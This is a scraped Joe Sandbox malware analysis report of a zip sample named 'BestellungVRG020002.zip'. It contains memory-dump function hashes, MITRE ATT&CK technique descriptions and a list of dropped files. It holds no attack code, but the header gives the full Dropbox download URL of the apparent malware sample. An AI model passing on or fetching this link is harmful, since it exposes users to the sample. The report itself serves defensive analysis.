Instruction ID: 51838b3e71fa2967badfc82fb73ff8d01c992c65bc4d5bfa06a571affd940ee2
Opcode Fuzzy Hash: 446208d5e233049c343f41804431954bf4655d2ccc635fd8c7596a226a8605e4
Instruction Fuzzy Hash: 20612530A1CA854FC359EB7C841666AB7D1EF89318F0585FED08EC72A3DE39A842C741

Function 00007FF9BFB2B19D Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f81daa7c59ac6073857f4f1e9484d254a740a6def3fccd13e49e91dafe67b979
Instruction ID: 163c3a66d4d255b1aea99b691e5f399e99c81b68c17b1f3a5843f8d948e7163f
Opcode Fuzzy Hash: f81daa7c59ac6073857f4f1e9484d254a740a6def3fccd13e49e91dafe67b979
Instruction Fuzzy Hash: 7651E93170D7854FD759DBBC4415766BBE1EF8A228B1546FED09AC72A3DE2CE8428700

Function 00007FF9BFB1FD45 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f22a2acc42563efc11b80edc353d7ff434bbc8213a21b88ae50423e857b732b6
Instruction ID: 2c6772fba78c35250dcbbdbe7aad5e2eae681f297a18af3575074fb8820f6380
Opcode Fuzzy Hash: f22a2acc42563efc11b80edc353d7ff434bbc8213a21b88ae50423e857b732b6
Instruction Fuzzy Hash: D2510530A1CA498FD759EF7C841526AB7E1EF49319B0585FED04EC7193DE38A982C741

Function 00007FF9BFB2A3FB Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a389c02f01c6c3eb3532178c1fb433a5be1a5ba06ce4221e350c56c1c6b1c0ff
Instruction ID: 319c839a5f954166a7fce3e3095611fdf144b9ceaf13d54d0171ae8492c873f1
Opcode Fuzzy Hash: a389c02f01c6c3eb3532178c1fb433a5be1a5ba06ce4221e350c56c1c6b1c0ff
Instruction Fuzzy Hash: 6A51FA3070C7855FD78AEB7C84157A97BD2EF8B224F0845FEE04AC71A3DA7858468711

Function 00007FF9BFB23F7D Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58982466c51cc5d0601aee3a0cd84a8a57d9ab11ddae78e764f68d0c6e4a6c08
Instruction ID: 40e51e1854b9e98ecc1a9fe8cfa050f639bd4fb6793110492e703f8cda068999
Opcode Fuzzy Hash: 58982466c51cc5d0601aee3a0cd84a8a57d9ab11ddae78e764f68d0c6e4a6c08
Instruction Fuzzy Hash: CA51383160D7854FD759EB7C84146A5BFE1EF8722870946FED09AC71E3DA7C98468700

Function 00007FF9BFB2A887 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8593b353fba8cdf0d98f64ec65ec94039dbc1894a17da9b51e5c8dd1bd6101e5
Instruction ID: 4ed44f0abea9235eecc0de4a96a160a7b69d96792539bc3906fd461dd66c8dd2
Opcode Fuzzy Hash: 8593b353fba8cdf0d98f64ec65ec94039dbc1894a17da9b51e5c8dd1bd6101e5
Instruction Fuzzy Hash: BD51D970B08A855FD785DB7C80046A97FD2AF8F234B9957AEE089C71A7CA7898468701

Function 00007FF9BFB2643D Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c28b4d0107bebd48a302aec14782776c2b2ba8959931e876e1d1acee89dcce6
Instruction ID: 229826996676499191a6a3680c3f164e3f0f292ba071b0af1bfea0204852992b
Opcode Fuzzy Hash: 2c28b4d0107bebd48a302aec14782776c2b2ba8959931e876e1d1acee89dcce6
Instruction Fuzzy Hash: C7413831A1C6854FE758EFBC84056B6BBD2EF8622874586BED09AC71D2DF38A5468300

Function 00007FF9BFB20059 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af0dcc65e4f3eb184019ea956d9edc8df1466184b0a14ec23e667d915c4695ff
Instruction ID: ab587bf7afb77426cfc6b3401a6e6498339db6811b9dc9a865234a967e1ffe6f
Opcode Fuzzy Hash: af0dcc65e4f3eb184019ea956d9edc8df1466184b0a14ec23e667d915c4695ff
Instruction Fuzzy Hash: 5A414D70B18A494FE798EB7C401136AB6D2EF89319F1085BDD14EC32A2DE7DA9429701

Function 00007FF9BFB20AB9 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cd57ca8c998f2a6b2933198974710fcccf3f2800581294ffce4f1ca3c79b6d0
Instruction ID: bd9252c857fe17f82c96253be2ca215081c3139fc45faf2722b2c1ef89a42d1c
Opcode Fuzzy Hash: 7cd57ca8c998f2a6b2933198974710fcccf3f2800581294ffce4f1ca3c79b6d0
Instruction Fuzzy Hash: A9415E70B18A494FE79CEB7C401136AB6D2EF89319F1085BDD14EC32A2DE7DE9429701

Function 00007FF9BFB2621D Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 692e53073062c1fc0a87656344b245ea0b227f84e28638ce312112e78a023332
Instruction ID: a8737484b7795354a2e680b008fbdd7151cbd020629f3a1867595f12571e5dd2
Opcode Fuzzy Hash: 692e53073062c1fc0a87656344b245ea0b227f84e28638ce312112e78a023332
Instruction Fuzzy Hash: C541EA31B1C6854FD759EB7C4815676BBD2EF8A22970986BED09AC31D2DF3CE8468700

Function 00007FF9BFB2BEBD Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8661883c902ccda414955a1e050b08f36f6e2db57955357445ebc0ede3b3b93e
Instruction ID: 76af18fbe9b7cbc8a692eaa5f57985aeaa7ab1508133452277765c5ba040f512
Opcode Fuzzy Hash: 8661883c902ccda414955a1e050b08f36f6e2db57955357445ebc0ede3b3b93e
Instruction Fuzzy Hash: 4641FA3171C6850FD758EB7C54157667BD1EF8A228B0586BED09AC32D2DA7CD9468300

Function 00007FF9BFB2B495 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b2d157bbaf8624b42f38deb1c9843921ee716aef098fab94a699e7e4facb51d
Instruction ID: 8177068a75b6179f9370db43b6da4c5b40d8f153dfcfd80068693f73dee4e6b1
Opcode Fuzzy Hash: 3b2d157bbaf8624b42f38deb1c9843921ee716aef098fab94a699e7e4facb51d
Instruction Fuzzy Hash: 3141B63070C6854FD799EB7C84157697BD2EF8A328F1586BEE09BC7293DA7C98428700

Function 00007FF9BFB2C56B Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e01935baf25f32fcefc8a963bf08316c320ab865ca6450e7e89d8a517b0e5ae
Instruction ID: e257f7d50756e393f822e43a3dae84623b255d7dd122c51fdee9bb9a24e2ae10
Opcode Fuzzy Hash: 4e01935baf25f32fcefc8a963bf08316c320ab865ca6450e7e89d8a517b0e5ae
Instruction Fuzzy Hash: 4B31A231B186894FD79DEB7C441526A77D3AF8A218B5582BEA09BC3296DE3C98469300

Function 00007FF9BFB25F3B Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea3401c5e1e14ff14ab3bf7fea3c455425f4e25be728958b025fdbda47cc6959
Instruction ID: dd6206f21a99d463378ed200ea0689a3bc4bdb2de2d2529d1f8fbc01a0c9eb64
Opcode Fuzzy Hash: ea3401c5e1e14ff14ab3bf7fea3c455425f4e25be728958b025fdbda47cc6959
Instruction Fuzzy Hash: 2D31D531B186894FDB98EB7C841567A77D3EF8A22970582BED09BC3192DE3898439700

Function 00007FF9BFB2722B Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ede3cc1aba0ea908f8c2aef08d2886f21c12e1b9cd1baf3f0eb9f207a7db995
Instruction ID: d9adcaf30d8dc912feabcf8dbe985c34c3015736bb2d1ff794ee7a2c9e241aa2
Opcode Fuzzy Hash: 9ede3cc1aba0ea908f8c2aef08d2886f21c12e1b9cd1baf3f0eb9f207a7db995
Instruction Fuzzy Hash: 9331E731B1C6894FDB98EB7C441566A77D3EF8B21970582BEE09BC3292DE3898439700

Function 00007FF9BFB26BFB Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd16693e1e8c73aec2e5709a903d1f56f53b2bb05df73d5a86082902ecebb094
Instruction ID: fda5bf55938061712f7ff09f2046ae25fd7fe21f7483f02aaeaf86670392f278
Opcode Fuzzy Hash: dd16693e1e8c73aec2e5709a903d1f56f53b2bb05df73d5a86082902ecebb094
Instruction Fuzzy Hash: 8D31F83160D6854FD759FF7C44156797BD2EF8B22470545FED09BC71A3DA3898468700

Function 00007FF9BFB25BBB Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2418818384.00007FF9BFB10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BFB10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ff9bfb10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0bb5525003ee050f144fab53dfac190bf2bb828907dbc6cc4911cbd92f680e6
Instruction ID: b70d7d027ef9f5ebba7439ae2eb6d88ad42955d349ff7bd78727bca3c4b2f38f
Opcode Fuzzy Hash: b0bb5525003ee050f144fab53dfac190bf2bb828907dbc6cc4911cbd92f680e6
Instruction Fuzzy Hash: 38310731B186894FD799EB7C441567AB7D3EF8A21974582BED09BC3292DE3CD8439700

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5788

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Windows Analysis Report
https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0